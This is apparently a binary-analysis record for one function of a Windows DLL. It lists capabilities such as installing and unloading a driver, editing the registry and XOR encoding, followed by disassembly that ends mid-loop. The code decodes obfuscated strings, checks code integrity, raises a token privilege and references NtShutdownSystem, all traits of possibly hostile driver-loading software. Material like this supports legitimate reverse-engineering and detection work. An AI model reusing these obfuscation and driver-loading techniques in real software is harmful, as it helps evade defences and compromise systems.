Function at 0x18000ec90
Capabilities:
Delete registry key
Encode data using xor
Get system information on windows
Install driver
Link many functions at runtime
Set registry value
Unload driver

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1bd0]
mov eax, 0x1cd0
call fcn.1800283c0
sub rsp, rax
movaps xmmword [rsp + 0x1cc0], xmm6
movaps xmmword [rsp + 0x1cb0], xmm7
movaps xmmword [rsp + 0x1ca0], xmm8
movaps xmmword [rsp + 0x1c90], xmm9
movaps xmmword [rsp + 0x1c80], xmm10
movaps xmmword [rsp + 0x1c70], xmm11
movaps xmmword [rsp + 0x1c60], xmm12
movaps xmmword [rsp + 0x1c50], xmm13
movaps xmmword [rsp + 0x1c40], xmm14
movaps xmmword [rsp + 0x1c30], xmm15
mov rax, qword [0x180050040]
xor rax, rsp
mov qword [rbp + 0x1b20], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_FreeConsole]
movsd xmm0, qword [str.ziNKW_o__E]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x18004ab20]
mov dword [rbp + 0x130], eax
movzx eax, word [0x18004ab24]
mov word [rbp + 0x134], ax
mov r15d, dword [0x180050090]
movdqa xmm10, xmmword [0x18004b210]
movdqa xmm9, xmmword [0x18004b200]
movdqa xmm7, xmmword [0x18004b280]
movdqa xmm8, xmmword [0x18004b1c0]
movdqa xmm12, xmmword [0x18004b260]
movdqa xmm11, xmmword [0x18004b1d0]
cmp byte [0x18004ab25], bl
je 0x180003d33
mov r8d, ebx
cmp r15d, 2
jl 0x180003ceb
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [str.ziNKW_o__E]
xorps xmm1, xmm0
movd dword [rbp + 0x128], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, dword [rbp + 0x12c]
xorps xmm1, xmm0
movd dword [rbp + 0x12c], xmm1
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x180003d00
lea rcx, [rbp + 0x128]
call fcn.180001c60
test eax, eax
jne 0x18000e8eb
movsd xmm0, qword [str.UK_XOK_]
movsd qword [rbp + 0x118], xmm0
mov eax, dword [str._9C]
mov dword [rbp + 0x120], eax
cmp byte [0x18004aa33], bl
je 0x180003eb3
mov r8d, ebx
cmp r15d, 2
jl 0x180003e65
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.UK_XOK_]
xorps xmm1, xmm0
movd dword [rbp + 0x118], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x11c]
xorps xmm2, xmm1
movd dword [rbp + 0x11c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x118]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x180003e80
lea rcx, [rbp + 0x118]
call fcn.180001c60
test eax, eax
jne 0x18000e8eb
movsd xmm0, qword [str._J_Z_QWZ.5l__F]
movsd qword [rbp + 0xe8], xmm0
mov eax, dword [0x18002aa00]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x18002aa04]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x18002aa06]
mov byte [rbp + 0xf6], al
mov r8d, ebx
cmp r15d, 2
jl 0x180003ff4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._J_Z_QWZ.5l__F]
xorps xmm1, xmm0
movd dword [rbp + 0xe8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x180004010
lea rcx, [rbp + 0xe8]
call fcn.180001c60
test eax, eax
jne 0x18000e8eb
movups xmm0, xmmword [str.XYUI_S___7j___H]
movups xmmword [rbp + 0x2b0], xmm0
movzx eax, byte [0x18004aa48]
mov byte [rbp + 0x2c0], al
mov r8d, ebx
cmp r15d, 2
jl 0x180004186
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x2b4]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180004091
cmp r8d, 0x11
jge 0x1800041d3
movsxd rax, r8d
lea r9, [rbp + 0x2b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1800041a0
lea rcx, [rbp + 0x2b0]
call fcn.180001c60
test eax, eax
jne 0x18000e8eb
movups xmm0, xmmword [str.XIBSJV]
movups xmmword [rbp + 0x300], xmm0
movzx eax, word [0x18004ab70]
mov word [rbp + 0x310], ax
cmp byte [0x18004ab71], bl
je 0x180004373
mov r8d, ebx
cmp r15d, 2
jl 0x180004325
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x304]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180004230
cmp r8d, 0x12
jge 0x180004373
movsxd rax, r8d
lea r9, [rbp + 0x300]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x180004340
lea rcx, [rbp + 0x300]
call fcn.180001c60
test eax, eax
jne 0x18000e8eb
mov dword [rbp + 0x114c], ebx
mov qword [rbp + 0x1188], rbx
mov dword [rbp + 0x1188], 8
lea r9, [rbp + 0x114c]
mov r8d, 8
lea rdx, [rbp + 0x1188]
mov ecx, 0x67
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x1800045be
mov eax, dword [rbp + 0x118c]
test al, 1
je 0x1800045ce
bt eax, 0xa
jae 0x1800045ce
movups xmm0, xmmword [0x18004abc0]
movups xmmword [rbp + 0xc30], xmm0
movups xmm1, xmmword [0x18004abd0]
movups xmmword [rbp + 0xc40], xmm1
movups xmm0, xmmword [0x18004abe0]
movups xmmword [rbp + 0xc50], xmm0
movups xmm1, xmmword [str.q6:44_y3__0__]
movups xmmword [rbp + 0xc60], xmm1
movups xmm0, xmmword [0x18004ac00]
movups xmmword [rbp + 0xc70], xmm0
movups xmm1, xmmword [0x18004ac10]
movups xmmword [rbp + 0xc80], xmm1
mov eax, dword [0x18004ac20]
mov dword [rbp + 0xc90], eax
movzx eax, word [0x18004ac24]
mov word [rbp + 0xc94], ax
cmp r15d, 2
jl 0x180004568
movdqa xmm4, xmmword [0x18004b230]
lea rcx, [rbp + 0xc30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 0x10]
cmp ebx, 0x30
jl 0x180004470
cmp eax, 0x33
jge 0x1800045b2
movsxd rax, ebx
lea r8, [rbp + 0xc30]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x33
jl 0x180004580
lea rcx, [rbp + 0xc30]
jmp 0x18000eab9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rbp + 0xfc8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0xfc8]
call fcn.180003670
cmp qword [rbp + 0xfc8], rbx
je 0x1800047ce
movups xmm0, xmmword [str.YUH_YG]
movups xmmword [rbp + 0xca0], xmm0
movups xmm1, xmmword [str.__7__2__ej_____5q_6_7__y_n]
movups xmmword [rbp + 0xcb0], xmm1
movups xmm0, xmmword [0x18002aa30]
movups xmmword [rbp + 0xcc0], xmm0
movups xmm1, xmmword [0x18002aa40]
movups xmmword [rbp + 0xcd0], xmm1
movups xmm0, xmmword [0x18002aa50]
movups xmmword [rbp + 0xce0], xmm0
movups xmm1, xmmword [0x18002aa60]
movups xmmword [rbp + 0xcf0], xmm1
mov eax, dword [0x18002aa70]
mov dword [rbp + 0xd00], eax
movzx eax, word [0x18002aa74]
mov word [rbp + 0xd04], ax
cmp r15d, 2
jl 0x180004778
movdqa xmm4, xmmword [0x18004b230]
lea rcx, [rbp + 0xca0]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 0x10]
cmp ebx, 0x30
jl 0x180004680
cmp eax, 0x33
jge 0x1800047c2
movsxd rax, ebx
lea r8, [rbp + 0xca0]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x33
jl 0x180004790
lea rcx, [rbp + 0xca0]
jmp 0x18000eab9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1380], xmm0
mov qword [rbp + 0x1390], rax
lea r9, [rsp + 0x50]
lea r8, str.NtShutdownSystem
lea rdx, [0x18002ad50]
lea rcx, [rbp + 0x1380]
call fcn.180010ac0
nop
mov r8d, 8
lea rdx, [rbp + 0x1318]
lea rcx, [0x18008a2c4]
call fcn.1800031d0
nop
lea rcx, [rbp + 0x968]
call fcn.180003080
nop
lea rdx, [rbp + 0x740]
mov rcx, rax
call fcn.1800024a0
nop
lea r8, [rbp + 0x1318]
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x1460]
call fcn.180010a50
nop
mov rdx, qword [rbp + 0x758]
cmp rdx, 0xf
jbe 0x180004897
inc rdx
mov rcx, qword [rbp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004892
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004892
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqa xmm13, xmmword [0x18004b1b0]
movdqu xmmword [rbp + 0x750], xmm13
mov byte [rbp + 0x740], 0
mov rdx, qword [rbp + 0x980]
cmp rdx, 7
jbe 0x1800048f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x968]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800048f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800048f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqa xmm15, xmmword [0x18004b1a0]
movdqu xmmword [rbp + 0x978], xmm15
mov word [rbp + 0x968], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x18d0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1460]
call fcn.18000fdd0
mov rdx, rax
lea rcx, [rbp + 0x18d0]
call fcn.18000eca0
nop
mov r8, qword [rbp + 0x1388]
mov rdx, qword [rbp + 0x1380]
sub r8, rdx
lea rcx, [rbp + 0x18d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x18d8]
call fcn.1800101c0
test rax, rax
jne 0x180004994
mov rax, qword [rbp + 0x18d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x18d0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.k_vT_YzM_71]
movups xmmword [rbp + 0x388], xmm0
mov eax, dword [0x18004aa78]
movsd xmm0, qword [0x18004aa70]
movups xmm1, xmmword [0x18004aa60]
mov dword [rbp + 0x3b0], eax
movsd qword [rbp + 0x3a8], xmm0
movups xmmword [rbp + 0x398], xmm1
mov r8d, ebx
movdqa xmm14, xmmword [0x18004b230]
cmp r15d, 2
jl 0x180004aed
lea rcx, [rbp + 0x388]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1800049f0
cmp r8d, 0x16
jge 0x180004b37
movsxd rax, r8d
lea r9, [rbp + 0x388]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x180004b00
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x760]
call fcn.18000fb60
mov qword [rbp + 0xfb8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0xfb8]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, 1
test eax, eax
jne 0x180004b7e
movzx edi, sil
jmp 0x180004c0b
mov qword [rbp + 0x1270], rbx
lea rcx, [rbp + 0x760]
call fcn.180010280
lea r8, [rbp + 0x1270]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x180004bad
movzx edi, sil
jmp 0x180004c0b
mov dword [rbp + 0x1358], esi
mov rax, qword [rbp + 0x1270]
mov qword [rbp + 0x135c], rax
mov dword [rbp + 0x1364], 2
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov r9d, 0x10
lea r8, [rbp + 0x1358]
xor edx, edx
mov rcx, qword [rbp + 0xfb8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x180004bfb
movzx edi, sil
jmp 0x180004c0b
mov rcx, qword [rbp + 0xfb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor dil, dil
mov rdx, qword [rbp + 0x778]
cmp rdx, 7
jbe 0x180004c51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004c4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005614
call fcn.1800271e0
movdqu xmmword [rbp + 0x770], xmm15
mov word [rbp + 0x760], bx
test dil, dil
je 0x180004c6d
mov edi, ebx
jmp 0x180005630
lea rdx, [rbp + 0x1460]
lea rcx, [rbp + 0x9c8]
call fcn.1800107a0
nop
mov rdx, rax
lea rcx, [rbp + 0x9e8]
call fcn.180002ea0
nop
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.1800024a0
nop
lea r8, [rbp + 0x780]
lea rdx, [0x18002a8c8]
lea rcx, [rbp + 0xa08]
call fcn.180010920
mov rdi, rax
mov qword [rbp + 0xf80], rbx
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x530], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x540], xmm1
movzx ecx, word [0x18004a9c0]
mov word [rbp + 0x550], cx
movzx ecx, byte [0x18004a9c2]
mov byte [rbp + 0x552], cl
mov r8d, ebx
cmp r15d, 2
jl 0x180004e15
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x534]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x180004d20
cmp r8d, 0x23
jge 0x180004e63
movsxd rax, r8d
lea r9, [rbp + 0x530]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x180004e30
